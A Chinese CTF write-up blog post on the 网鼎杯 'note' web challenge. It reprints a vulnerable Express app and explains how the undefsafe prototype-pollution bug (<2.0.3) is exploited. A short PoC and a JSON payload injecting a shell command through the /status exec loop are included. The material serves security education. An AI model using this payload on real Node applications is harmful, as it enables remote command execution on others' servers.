Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • 网鼎杯青龙组Web WP

    • note
    Eki
    2021-05-06
    CTF Contest
    目录

    网鼎杯青龙组Web WP

    # 网鼎杯青龙组Web WP

    # note

    给了源码

    var express = require('express');
    var path = require('path');
    const undefsafe = require('undefsafe');
    const { exec } = require('child_process');
    
    
    var app = express();
    class Notes {
        constructor() {
            this.owner = "whoknows";
            this.num = 0;
            this.note_list = {};
        }
    
        write_note(author, raw_note) {
            this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
        }
    
        get_note(id) {
            var r = {}
            undefsafe(r, id, undefsafe(this.note_list, id));
            return r;
        }
    
        edit_note(id, author, raw) {
            undefsafe(this.note_list, id + '.author', author);
            undefsafe(this.note_list, id + '.raw_note', raw);
        }
    
        get_all_notes() {
            return this.note_list;
        }
    
        remove_note(id) {
            delete this.note_list[id];
        }
    }
    
    var notes = new Notes();
    notes.write_note("nobody", "this is nobody's first note");
    
    
    app.set('views', path.join(__dirname, 'views'));
    app.set('view engine', 'pug');
    
    app.use(express.json());
    app.use(express.urlencoded({ extended: false }));
    app.use(express.static(path.join(__dirname, 'public')));
    
    
    app.get('/', function(req, res, next) {
      res.render('index', { title: 'Notebook' });
    });
    
    app.route('/add_note')
        .get(function(req, res) {
            res.render('mess', {message: 'please use POST to add a note'});
        })
        .post(function(req, res) {
            let author = req.body.author;
            let raw = req.body.raw;
            if (author && raw) {
                notes.write_note(author, raw);
                res.render('mess', {message: "add note sucess"});
            } else {
                res.render('mess', {message: "did not add note"});
            }
        })
    
    app.route('/edit_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to edit a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            let author = req.body.author;
            let enote = req.body.raw;
            if (id && author && enote) {
                notes.edit_note(id, author, enote);
                res.render('mess', {message: "edit note sucess"});
            } else {
                res.render('mess', {message: "edit note failed"});
            }
        })
    
    app.route('/delete_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to delete a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            if (id) {
                notes.remove_note(id);
                res.render('mess', {message: "delete done"});
            } else {
                res.render('mess', {message: "delete failed"});
            }
        })
    
    app.route('/notes')
        .get(function(req, res) {
            let q = req.query.q;
            let a_note;
            if (typeof(q) === "undefined") {
                a_note = notes.get_all_notes();
            } else {
                a_note = notes.get_note(q);
            }
            res.render('note', {list: a_note});
        })
    
    app.route('/status')
        .get(function(req, res) {
            let commands = {
                "script-1": "uptime",
                "script-2": "free -m"
            };
            for (let index in commands) {
                exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                    if (err) {
                        return;
                    }
                    console.log(`stdout: ${stdout}`);
                });
            }
            res.send('OK');
            res.end();
        })
    
    
    app.use(function(req, res, next) {
      res.status(404).send('Sorry cant find that!');
    });
    
    
    app.use(function(err, req, res, next) {
      console.error(err.stack);
      res.status(500).send('Something broke!');
    });
    
    
    const port = 8080;
    app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144

    这里对note操作的时候利用了undefsafe

    undefsafe

    Simple function for retrieving deep object properties without getting "Cannot read property 'X' of undefined"

    Can also be used to safely set deep values.

    var object = {
     a: {
       b: {
         c: 1,
         d: [1,2,3],
         e: 'remy'
       }
     }
    };
    
    console.log(undefsafe(object, 'a.b.e')); // "remy"
    console.log(undefsafe(object, 'a.b.not.found')); // undefined
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    undefsafe(this.note_list, id + '.author', author);
    
    1

    就是对将this.note_list里id.author对应项修改为author

    这里是undefsafe模块的一个原型链污染的洞,版本 < 2.0.3

    https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

    POC:

    var a = require("undefsafe");
    var payload = "__proto__.toString";
    a({},payload,"JHU");
    console.log({}.toString);//output:JHU
    
    1
    2
    3
    4

    那么利用这个地方

    app.route('/status')
        .get(function(req, res) {
            let commands = {
                "script-1": "uptime",
                "script-2": "free -m"
            };
            for (let index in commands) {
                exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                    if (err) {
                        return;
                    }
                    console.log(`stdout: ${stdout}`);
                });
            }
            res.send('OK');
            res.end();
        })
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17

    edit_node处传入

    undefsafe(this.note_list, id + '.author', author);
    undefsafe(this.note_list, id + '.raw_note', raw);
    
    1
    2

    传入{"id":"__proto__","raw":"id","author":"test"} 就可以造成原型链污染使得commands[index]存在"raw"

    编辑 (opens new window)
    上次更新: 2022/05/18, 16:49:51
    最近更新
    01
    QWB CTF2022 线下赛总决赛部分题解
    08-25
    02
    CISCN2022 总决赛部分题解
    08-25
    03
    DSCTF2022决赛 部分writeup
    08-08
    更多文章>
    Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
    This work is licensed under a Creative Commons Attribution 4.0 International License.
    • 跟随系统
    • 浅色模式
    • 深色模式
    • 阅读模式